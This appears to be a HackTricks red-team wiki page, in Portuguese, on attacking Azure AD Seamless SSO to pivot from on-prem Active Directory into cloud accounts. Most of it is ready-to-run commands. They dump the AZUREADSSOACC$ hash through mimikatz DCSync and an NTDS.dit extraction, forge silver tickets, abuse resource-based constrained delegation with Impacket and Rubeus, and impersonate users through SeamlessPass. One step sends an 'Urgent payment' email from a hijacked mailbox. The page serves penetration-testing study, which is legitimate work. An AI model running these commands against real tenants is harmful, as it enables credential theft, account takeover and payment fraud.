Az - Seamless SSO
Reading time: 10 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Dos documentos: O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) loga automaticamente os usuários quando estão em seus dispositivos corporativos conectados à sua rede corporativa. Quando habilitado, os usuários não precisam digitar suas senhas para fazer login no Azure AD, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Basicamente, o Azure AD Seamless SSO loga os usuários quando estão em um PC conectado ao domínio on-prem.
É suportado tanto por PHS (Password Hash Sync) quanto por PTA (Pass-through Authentication).
O SSO de Desktop utiliza Kerberos para autenticação. Quando configurado, o Azure AD Connect cria uma conta de computador chamada AZUREADSSOACC$
no AD on-prem. A senha da conta AZUREADSSOACC$
é enviada em texto claro para o Entra ID durante a configuração.
Os tickets Kerberos são criptografados usando o NTHash (MD4) da senha e o Entra ID utiliza a senha enviada para descriptografar os tickets.
Entra ID expõe um endpoint (https://autologon.microsoftazuread-sso.com) que aceita tickets Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO.
Enumeração
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()
Pivoting: On-prem -> cloud
warning
A principal coisa a saber sobre este ataque é que ter apenas o TGT ou um TGS específico de um usuário que está sincronizado com o Entra ID é suficiente para acessar os recursos em nuvem.
Isso ocorre porque é um ticket que permite que um usuário faça login na nuvem.
Para obter esse ticket TGS, o atacante precisa ter um dos seguintes:
- Um TGS de um usuário comprometido: Se você comprometer a sessão de um usuário com o ticket para
HTTP/autologon.microsoftazuread-sso.com
na memória, você pode usá-lo para acessar os recursos em nuvem. - Um TGT de um usuário comprometido: Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como Kekeo e Rubeus.
- Um hash ou senha de usuário comprometido: SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT e, em seguida, o TGS.
- Um ticket dourado: Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado.
- O hash ou senha da conta AZUREADSSOACC$: Com essas informações e o Identificador de Segurança (SID) do usuário a ser atacado, é possível criar um ticket de serviço e autenticar-se com a nuvem (como realizado no método anterior).
SeamlessPass
Como explicado neste post do blog, ter qualquer um dos requisitos anteriores torna muito fácil usar a ferramenta SeamlessPass para acessar os recursos em nuvem como o usuário comprometido, ou como qualquer usuário se você tiver o hash ou senha da conta AZUREADSSOACC$
.
Finalmente, com o TGT é possível usar a ferramenta SeamlessPass com:
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
Mais informações para configurar o Firefox para funcionar com SSO contínuo podem ser encontradas neste post do blog.
Obtendo hashes da conta AZUREADSSOACC$
A senha do usuário AZUREADSSOACC$
nunca muda. Portanto, um administrador de domínio poderia comprometer o hash desta conta e, em seguida, usá-lo para criar tickets silver para se conectar ao Azure com qualquer usuário local sincronizado:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
note
Com as informações atuais, você poderia apenas usar a ferramenta SeamlessPass conforme indicado anteriormente para obter tokens azure e entraid para qualquer usuário no domínio.
Você também poderia usar as técnicas anteriores (e outras) para obter o hash da senha da vítima que deseja impersonar em vez da conta AZUREADSSOACC$
.
Criando Silver Tickets
Com o hash, você agora pode gerar silver tickets:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Usando Silver Tickets com Firefox
Para utilizar o silver ticket, os seguintes passos devem ser executados:
- Iniciar o Navegador: O Mozilla Firefox deve ser iniciado.
- Configurar o Navegador:
- Navegue até
about:config
. - Defina a preferência para network.negotiate-auth.trusted-uris para o valor especificado:
https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
- Navegue até
Configurações
do Firefox > Pesquise porPermitir autenticação única do Windows para contas Microsoft, de trabalho e escolares
e habilite-a.
- Acessar a Aplicação Web:
- Visite uma aplicação web que esteja integrada com o domínio AAD da organização. Um exemplo comum é login.microsoftonline.com.
- Processo de Autenticação:
- Na tela de login, o nome de usuário deve ser inserido, deixando o campo da senha em branco.
- Para prosseguir, pressione TAB ou ENTER.
warning
Isso não contorna o MFA se habilitado para o usuário.
On-prem -> Cloud via Resource Based Constrained Delegation
Para realizar o ataque é necessário:
WriteDACL
/GenericWrite
sobreAZUREADSSOACC$
- Uma conta de computador que você controla (hash e senha) - Você pode criar uma
- Passo 1 – Adicione sua própria conta de computador
- Cria
ATTACKBOX$
e imprime seu SID/hash NTLM. Qualquer usuário do domínio pode fazer isso enquanto MachineAccountQuota > 0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
- Etapa 2 – Conceder RBCD em
AZUREADSSOACC$
- Escreve o SID da sua máquina emmsDS-AllowedToActOnBehalfOfOtherIdentity
.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$
# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
- Etapa 3 – Forjar um TGS para qualquer usuário (por exemplo, alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
# Produces alice.autologon.ccache
#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
Você agora pode usar o TGS para acessar recursos do Azure como o usuário impersonado.
Criando tickets Kerberos para usuários apenas na nuvem
Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem definir SID para qualquer usuário da nuvem. Dessa forma, os tickets Kerberos podem ser criados também para usuários apenas na nuvem. O único requisito é que o SID seja um SID.
caution
Alterar o SID de usuários administradores apenas na nuvem agora está bloqueado pela Microsoft.
Para mais informações, consulte https://aadinternals.com/post/on-prem_admin/
Referências
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Estou na sua nuvem, lendo os e-mails de todos - hackeando o Azure AD via Active Directory
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.